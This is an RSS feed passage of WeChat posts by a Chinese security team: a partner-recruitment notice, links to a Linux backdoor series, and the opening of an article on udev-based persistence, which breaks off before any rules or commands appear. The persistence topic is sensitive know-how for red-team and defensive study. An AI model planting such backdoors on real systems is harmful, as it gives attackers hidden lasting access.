href="https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247502489&amp;idx=1&amp;sn=42e7e1df16c328cbe182bf9befcbc9f4&amp;scene=21#wechat_redirect" textvalue="Trap 后门 | Linux 后门系列" data-itemshowtype="0" target="_blank" linktype="text" data-linktype="2"><span textstyle="" style="letter-spacing: normal;">Trap 后门 | Linux 后门系列</span></a></span></p></li><li style="letter-spacing:normal;"><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;line-height: 1em;color: black;"><span leaf=""><a style="" href="https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247502442&amp;idx=1&amp;sn=5bc26be1b2fa90a3dd65d2d4269c3c93&amp;scene=21#wechat_redirect" textvalue="PAM 后门 | Linux 后门系列" data-itemshowtype="0" target="_blank" linktype="text" data-linktype="2"><span textstyle="" style="letter-spacing: normal;">PAM 后门 | Linux 后门系列</span></a></span></p></li><li style="letter-spacing:normal;"><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;line-height: 1em;color: black;"><span leaf=""><a style="" href="https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247492825&amp;idx=1&amp;sn=deb7753e18c935f16cbcb1ea22ed6c35&amp;scene=21#wechat_redirect" textvalue="sudo 后门｜Linux 后门系列" data-itemshowtype="0" target="_blank" linktype="text" data-linktype="2"><span textstyle="" style="letter-spacing: normal;">sudo 后门｜Linux 后门系列</span></a></span></p></li></ul></section><section data-style="-webkit-tap-highlight-color: transparent; margin-bottom: 0em; outline: 0px; background-color: rgb(255, 255, 255); letter-spacing: 0.544px; text-wrap: wrap; font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif; font-size: 16px; text-align: center; visibility: visible; color: rgb(163, 163, 163) !important;" class="js_darkmode__29" style="-webkit-tap-highlight-color: transparent;margin: 0px 0px 0em;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;background-color: rgb(255, 255, 255);clear: both;min-height: 1em;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space-collapse: collapse;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: center;visibility: visible;color: rgb(163, 163, 163) !important;" nodeleaf=""><img data-imgfileid="100018887" alt="图片" class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="430" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;vertical-align: bottom;height: auto !important;display: initial;visibility: visible !important;width: 430px !important;" width="430px" src="https://wechat2rss.xlab.app/img-proxy/?k=37ca7275&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FfZT30hrVgRePhExdNHBxNXo5ykEQRnV6h5D294E334CzZaiaFRfibvESn4icHoenCrJf06jfJNVBZwpaAmCZbM6Gw%2F640%3Fwx_fmt%3Dother%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1%26tp%3Dwebp"/></section><section data-style="-webkit-tap-highlight-color: transparent; margin-bottom: 0em; outline: 0px; background-color: rgb(255, 255, 255); text-wrap: wrap; font-family: 微软雅黑; text-align: center; letter-spacing: 2px; font-size: 18px; color: rgb(163, 163, 163) !important;" class="js_darkmode__30" style="-webkit-tap-highlight-color: transparent;margin: 0px 0px 0em;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;background-color: rgb(255, 255, 255);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space-collapse: collapse;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: 微软雅黑;text-align: center;letter-spacing: 2px;font-size: 18px;color: rgb(163, 163, 163) !important;"><span leaf="">有态度，不苟同</span></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247502763">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=14a6862e&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU1NDkwMzAyMg%3D%3D%26mid%3D2247502763%26idx%3D1%26sn%3D462073b572acc76429ad70384bb713fe%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 27 Feb 2025 16:58:00 +0800</pubDate>
    </item>
    <item>
      <title>生态合作伙伴招募</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247502763&amp;idx=2&amp;sn=8ba837bca5ab91bd04b72d1860b23bbc</link>
      <description>欢迎大家成为生态合作伙伴～</description>
      <content:encoded><![CDATA[<p>
原创 <span>NOP Team</span> <span>2025-02-27 16:58</span> <span style="display: inline-block;">北京</span>
</p>

<p>欢迎大家成为生态合作伙伴～</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=e43a85bd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfZT30hrVgRczJMmBFVhXALHxFjeIWSp8yg7KZDNOmEDNkgDKoAxXAtuzicquiaDzGvm56icZrzffwxAY4XXd3iaibbw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;margin-top: -10px;"><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;" count="0" albumurl="http://wx.y.gtimg.cn/music/photo_new/T002R500x500M000004eySLi0VoPay_5.jpg" singer="Lady Gaga" avatar="" music_name="Die With A Smile"><span style="display: none;"></span><center><strong><span leaf="">生态合作伙伴招募公告</span></strong></center><center><span leaf=""><br/></span></center></h1><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">背景说明</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><blockquote style="font-size: 0.9em;overflow: auto;color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: rgb(255, 249, 249);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;"><span leaf="">朋友们，大家好，我们是 NOP Team ，这是一则长期的招募公告，当你看到该公告时，它就是有效的，可以随时联系我们</span></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;"><span leaf="">我本来希望叫 &#34;核心&#34;合作伙伴招募公告，这对我们是一件很重要的事，昨天(2024-06-03) 和联合创始人们进行了激烈讨论，大家讨论后认为，我们公司目前体量太小，尤其是在商务领域，无法保证一定能够给到&#34;核心&#34;合作伙伴足够的正反馈，所以叫 &#34;核心&#34;合作伙伴是一种不合适，甚至是不负责任的叫法，所以我们改为生态合作伙伴招募，不至于导致朋友们的误会</span></p><hr style="height: 1px;margin-top: 10px;margin-bottom: 10px;border-right: none;border-bottom: none;border-left: none;border-top-style: solid;border-top-color: black;"/><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;"><span leaf="">生态合作伙伴会经过详细的面试，在我们的观念里，面试是一种彼此了解的方法，面试过程中发现的亮点可能会成为合作的新机遇，面试过程中发现不足，我们也一定会指出来，共同面对，共同提升，当然前提是你愿意花费时间在自我提升上。所以这和企业面试不是一回事，不是二进制里的 0 和 1 ，希望大家能够明白</span></p><hr style="height: 1px;margin-top: 10px;margin-bottom: 10px;border-right: none;border-bottom: none;border-left: none;border-top-style: solid;border-top-color: black;"/><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;"><span leaf="">我们一定要保证交到客户手里的人是我们充分了解的，技术实力足够的，这是我们的基本原则！</span></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;"><span leaf="">在项目中犯非主观性错误是难免的事，但我们绝不接受因为我们面试了解不够或交付了技术能力不足的人导致在项目中犯非主观性错误！</span></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;"><span leaf="">所以接受不了相对详细的面试的朋友们(APT等方向会特殊考虑)，我们理解大家的想法，但就不建议申请成为我们的合作伙伴了</span></p></blockquote><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><span leaf="">2022 年 9 月 9 日，我们发布了第一版合作伙伴协议，并且启用了之前的公众号  </span><strong><span leaf="">漫流沙</span></strong><span leaf=""> (NOPTeam)作为项目发布渠道，我们觉得这样不会改变大家的使用习惯，关注技术文章的朋友们也不会在技术号上看到广告</span></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><span leaf="">公司创建已有 2 年多，通过当前的模式，我们已经积累了一些有技术且靠谱的合作伙伴，但在此过程中也发现了一个重要问题：</span><strong><span leaf="">效率太低</span></strong><span leaf="">，我们无法第一时间了解大家的技术能力，进而安排合适的项目，有太多的项目因为短时间内无法确定是否有足够的人来实施而流失，这是我们不愿意看到的</span></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><span leaf=""><br/></span></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><span leaf="">网络安全细分领域越来越多，我们公司开展业务时面临两个问题：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><span leaf="">在擅长的领域面对人员需求量比较大的项目时人手不够</span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><span leaf="">在不擅长的领域拓展性不足</span></section></li></ul><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><span leaf="">所以我们需要对合作伙伴朋友们进一步了解，按照擅长的领域进行分类，充分挖掘技术潜能，不仅能在我们人手不足时第一时间找到该项目所属领域的技术人才，甚至可以和我们一道填补服务领域的空白，开展新服务业务</span></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><span leaf=""><br/></span></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><span leaf="">我们将技术型合作伙伴分为以下三类</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><span leaf="">生态合作伙伴</span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><span leaf="">普通合作伙伴</span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><span leaf="">纯粹以增长项目经验为目的朋友们</span></section></li></ul><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><span leaf="">希望合作伙伴朋友们和我们一起，以 </span><strong><span leaf="">解决实际问题</span></strong><span leaf=""> 为共同目标，一起努力</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">生态合作伙伴</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><span style="letter-spacing: 0px;"><span leaf="">生态合作伙伴除了可以优先获取项目信息以及项目收益外，还可以共享内部共同构建的资源与信息等</span></span></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><span leaf=""><br/></span></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><span leaf="">申请生态合作伙伴需要满足以下要求：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><span leaf="">深厚的网络安全细分领域技术实力与实战经验</span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><span leaf="">足够的时间灵活性，确保项目按时高质量完成</span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><span leaf="">准确评估项目风险，提供切实可行的解决方案能力</span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><span leaf="">逻辑清晰，沟通高效的日常交流态度</span></section></li></ul><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><span leaf=""><br/></span></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><span leaf="">申请生态合作伙伴流程如下：</span></p><ol style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><span leaf="">提交简历</span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><span leaf="">提交擅长领域</span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><span leaf="">详细面试了解</span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><span leaf="">统计专业实力布局</span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><span leaf="">成为生态合作伙伴</span></section></li></ol><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><span leaf="">想申请成为生态合作伙伴的朋友可以加我的微信:  </span><code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">just_hack_for_fun</span></code></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">普通合作伙伴</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><span leaf="">和之前保持一致，持续关注 </span><strong><span leaf="">漫流沙</span></strong><span leaf=""> (NOPTeam) 公众号，即可获取最新项目信息。无需繁复流程，轻松参与感兴趣的项目</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">希望增长项目经验的朋友们</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><span leaf="">我们的关注群体涵盖了大量对网络安全领域感兴趣的大学生及有志于踏入该领域的爱好者，部分朋友技术水平和经验比较薄弱，纯粹希望通过加入实际的网络安全项目来了解学习一下</span></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><span leaf="">这件事之前我们也在做，但是由于管理方式问题，没有办法第一时间找到大家，我们正优化管理机制，确保每位渴望成长的朋友能在合适的项目中获得实战经验</span></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><span leaf="">希望累积网络安全项目经验的朋友们，请同样添加微信：</span><code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">just_hack_for_fun</span></code><span leaf="">，我们将统一安排，力求让更多热爱安全事业的伙伴受益</span></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><span leaf=""><br/></span></p><section class="mp_profile_iframe_wrp" nodeleaf=""><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="漫流沙" data-alias="NOPTeam" data-from="0" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/UlgAzaKh8eF57vBPejfAOpPLDtkibsSibKarX0ejMwOnc1JjDs20W0ZEMHZvma5uSlWlBj7dEC1ibBPuXGgxouApA/0?wx_fmt=png" data-signature="NOP Team 项目发布专用号" data-id="MzI1MTU4ODI3Nw==" data-is_biz_ban="0"></mp-common-profile></section><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><span leaf=""><br/></span></p></section><p><span leaf=""><br/></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247502763">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=39234636&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU1NDkwMzAyMg%3D%3D%26mid%3D2247502763%26idx%3D2%26sn%3D8ba837bca5ab91bd04b72d1860b23bbc%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 27 Feb 2025 16:58:00 +0800</pubDate>
    </item>
    <item>
      <title>udev 后门 | Linux 后门系列</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247502756&amp;idx=1&amp;sn=8bd6aa63492e4d8630a63494a17a60ac</link>
      <description>在最坚硬的石头上刻朵小花！</description>
      <content:encoded><![CDATA[<p>
原创 <span>NOP Team</span> <span>2025-02-26 21:26</span> <span style="display: inline-block;">北京</span>
</p>

<p>在最坚硬的石头上刻朵小花！</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=c6c4f404&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJV0pczOubpjQjqyLo3O7YmfJGMia3GYS7eiaJvON83oibUrlG7t9ba3uPA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section nodeleaf=""><mp-common-clmusic class="res_iframe clmusic_iframe js_uneditable custom_select_card" data-pluginname="insertaudio" type="1" music_name="Die With A Smile" albumurl="http://wx.y.gtimg.cn/music/photo_new/T002R500x500M000004eySLi0VoPay_5.jpg" singer="Lady Gaga" count="0" is_vip="1" duration="251000" music_source="1" listenid="78326345793511813"></mp-common-clmusic></section><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding: 0 10px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;margin-top: -10px;"><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">0x00 简介</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"><span leaf=""> </span></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">大家好，我们是 NOP Team ，今天跟大家讨论一下 udev 权限维持的相关内容</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">文章稍长，可直接至文末下载 PDF 版本进行观看</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf=""><br/></span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">什么是 udev 呢？</span></p><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;"><span leaf="">udev</span></strong><span leaf=""> 是Linux kernel的设备管理器，主要管理</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/dev</span></code><span leaf="">目录底下的设备节点。它同时也是用来接替 devfs 及 hotplug 的功能，这意味着它要在添加/删除硬件时处理</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/dev</span></code><span leaf="">目录以及所有用户空间的行为，包括加载固件时。</span></p></blockquote><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">也就是说所有关于设备的管理由这个服务来完成，例如我们增加了一块硬盘、拔掉了一个 USB 设备等等</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100019026" data-ratio="0.41944444444444445" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=2c3d40e9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJ4kwKHAMRSHQVlfWnoTibZfF6OviczbPia1jgDPWlaB7bHzzOTUs1bdMaQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">从以上的描述大家可以想象，系统启动的时候也会涉及到设备管理，从形式上确实很适合用来做后门</span></p><hr style="height: 1px;margin: 0;margin-top: 10px;margin-bottom: 10px;border: none;border-top: 1px solid black;"/><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><section><span leaf="">0x00 简介</span></section></li><li><section><span leaf="">0x01 udev 的工作方法</span></section></li><li><section><span leaf="">0x02 udev 规则文件</span></section></li><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: square;" class="list-paddingleft-1"><li><section><span leaf="">1. 规则文件存储位置</span></section></li><li><section><span leaf="">2. 规则文件的加载顺序</span></section></li><li><section><span leaf="">3. 规则编写规范</span></section></li><li><section><span leaf="">4. udev 规则案例</span></section></li></ul><li><section><span leaf="">0x03 udev 持久化探索</span></section></li><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: square;" class="list-paddingleft-1"><li><section><span leaf="">1. hwdb</span></section></li><li><section><span leaf="">2. iocost.conf</span></section></li><li><section><span leaf="">3. udev.conf</span></section></li><li><section><span leaf="">4. 规则文件</span></section></li><li><section><span leaf="">5. 探索限制</span></section></li></ul><li><section><span leaf="">0x04 总结</span></section></li><li><section><span leaf="">往期文章</span></section></li></ul><hr style="height: 1px;margin: 0;margin-top: 10px;margin-bottom: 10px;border: none;border-top: 1px solid black;"/><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">0x01 udev 的工作方法</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"><span leaf=""> </span></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">udev 整体氛围三个部分</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">内核层</span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">用户空间守护进程</span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">规则引擎与工具集</span></section></li></ul><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">简单来说，当设备有变动时，内核层最先发现， 之后通过 </span><strong style="font-weight: bold;color: black;"><span leaf="">uevent</span></strong><span leaf=""> 机制（基于 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">netlink</span></code><span leaf=""> 套接字）向用户空间发送设备事件（如设备插入、移除、状态变化），设备信息通过 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">sysfs</span></code><span leaf=""> 虚拟文件系统暴露（路径如 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/sys/block/sda</span></code><span leaf="">）。</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100019025" data-ratio="0.06388888888888888" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=a46b5f27&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJy6yqFFN3lYSic9tdqeiaa6tyYNuDYznIUjAA4QtB8vZhbgMbm4c2AVqA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 